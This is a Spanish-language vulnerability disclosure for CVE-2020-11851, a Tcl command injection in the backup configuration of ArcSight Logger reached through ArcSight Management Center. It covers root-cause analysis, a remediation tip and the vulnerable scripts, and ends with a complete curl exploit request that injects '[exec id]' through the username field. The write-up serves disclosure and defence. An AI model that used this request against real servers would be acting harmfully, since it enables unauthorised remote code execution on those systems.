
Vulnerabilidad de ejecución remota de código en ArcSight Logger
Vulnerabilidad de ejecución remota de código en ArcSight Logger (a través de ArcSight Management Center)
https://nvd.nist.gov/vuln/detail/CVE-2020-11851
Antecedentes de la vulnerabilidadArcSight Logger es una solución integral de gestión de registros que facilita el cumplimiento normativo y permite una investigación forense más rápida para los profesionales de seguridad, al unificar y almacenar registros de datos de máquina de toda la organización, y al facilitar la búsqueda y generación de informes rápidos sobre esos datos.
ArcSight Management Center (ArcMC) es un centro de gestión de seguridad centralizado que administra grandes despliegues de soluciones ArcSight como ArcSight Logger, ArcSight SmartConnectors (Connectors), ArcSight FlexConnectors y ArcSight Connector Appliance (ConApp) a través de una única interfaz.
La vulnerabilidad se puede explotar mediante la funcionalidad de copia de seguridad de ArcSight Management Center (versión: 2.7.1.2065.0). Esta opción de copia de seguridad funciona utilizando scripts "expect" de ArcSight Logger que utilizan Tool Command Language (Tcl). La vulnerabilidad permite a los atacantes ejecutar comandos Tcl arbitrarios. Esta vulnerabilidad afecta al producto Micro Focus ArcSight Logger, en todas las versiones anteriores a la 7.1.1.
ConclusiónEl servidor que ejecuta el software vulnerable puede verse comprometido por atacantes a través de la vulnerabilidad RCE y convertirse en un punto de apoyo desde el cual un adversario podría lanzar más ataques contra los servidores de la organización, culminando en una violación grave. Esta vulnerabilidad puede resultar en pérdida, corrupción o divulgación de datos a partes no autorizadas, pérdida de responsabilidad o denegación de acceso.
RecomendacionesSe recomienda verificar las mejores prácticas de seguridad de Tcl para scripts "expect". Básicamente, usar llaves en eval sería seguro como se muestra a continuación:
eval puts $exploit ;# vulnerable
eval "puts $exploit" ;# vulnerable
eval {puts $exploit} ;# seguro
Más información se puede encontrar aquí: https://wiki.tcl-lang.org/page/Injection+Attack
Esta sección detalla los vectores de inyección de comandos que se pueden utilizar para detectar la vulnerabilidad en ArcSight Logger. Los títulos a continuación se pueden usar para reproducir los pasos del ataque.
Explorando la opción de copia de seguridad vulnerableEn la pestaña de administración, hay una opción de copia de seguridad.

Como podemos ver, podemos configurar un servidor de copia de seguridad remoto utilizando el protocolo SCP. Después de hacer clic en el botón "Guardar", depuré los procesos del servidor utilizando la herramienta "pspy" que se puede descargar desde aquí: https://github.com/DominicBreuker/pspy/releases
Depurando el servidor y análisis de causa raízDespués de guardar la configuración de copia de seguridad, detecté que la aplicación utiliza un script bash para verificar el servidor SSH como se muestra a continuación (consulte el PID 95427):

Aquí está el comando más detallado (PID 95427) para su explicación:
sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory
Veamos el contenido de "runexpect.sh" y "scp.expect.dir.backup1" (script expect) antes de explicar la lógica de "runexpect.sh".
Aquí está el contenido de "runexpect.sh":
#!/bin/sh
# Set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*
exit $?
Y aquí está el contenido del script expect llamado "scp.expect.dir.backup1":
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
eval spawn ssh -p $port $host test -d $dir && echo exists //Vulnerabilidad comienza aquí
expect "*(yes/no)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"
Como podemos ver, "runexpect.sh" establece la variable de entorno (LD_LIBRARY_PATH) y luego ejecuta el binario "expect" utilizando el script expect llamado "scp.expect.dir.backup1". Este script expect recibe 4 argumentos para usarlos en el comando "ssh".
La vulnerabilidad real comienza en la línea 5 del script llamado "scp.expect.dir.backup1". Como mencionamos anteriormente, sin llaves, las entradas proporcionadas por el usuario pueden ser muy peligrosas en scripts Tcl.
Obteniendo la ejecución de códigoDado que esta vulnerabilidad de ejecución de código es completamente ciega, utilicé la forma más simple de demostrar la ejecución. Usé la herramienta "pspy" para depurar los procesos e ilustrar la ejecución de código arbitrario enviando la solicitud HTTP maliciosa.
Aquí está la lógica que quería que el script expect ejecutara:
eval spawn ssh –p [exec id] test –d fakehostname && echo exists
[exec : este es argv1
id] : este es argv2
fakehostname : este es argv3
El comportamiento esperado sería así:
eval spawn ssh –p la_salida_del_comando_id test –d fakehostname && echo exists
# Porque, [ ] en Tcl, se parece a `` en bash. Para más información sobre la sintaxis de Tcl, visite https://wiki.tcl-lang.org/welcome
Expliquemos cómo lograrlo. Si pongo un espacio entre las "cadenas" en el parámetro "field-username" de la solicitud HTTP correspondiente, se analizaría involuntariamente en el script expect porque no valida el número de argumentos, lo que significa que podría inyectar [exec como el número de puerto y id] como el nombre de usuario. Normalmente, no podría inyectar el parámetro de número de puerto de la solicitud HTTP correspondiente debido a la validación de entrada (solo debería ser dígitos).
Después de enviar la solicitud HTTP a continuación, ejecuté exitosamente el comando e imprimí su salida con la herramienta "pspy".


Aquí está la solicitud CURL correspondiente que utilicé para explotar la vulnerabilidad (modifique los tokens relacionados con la sesión y el objetivo):
curl -i -s -k -X $'POST' \
-H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
-b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
--data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
$'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'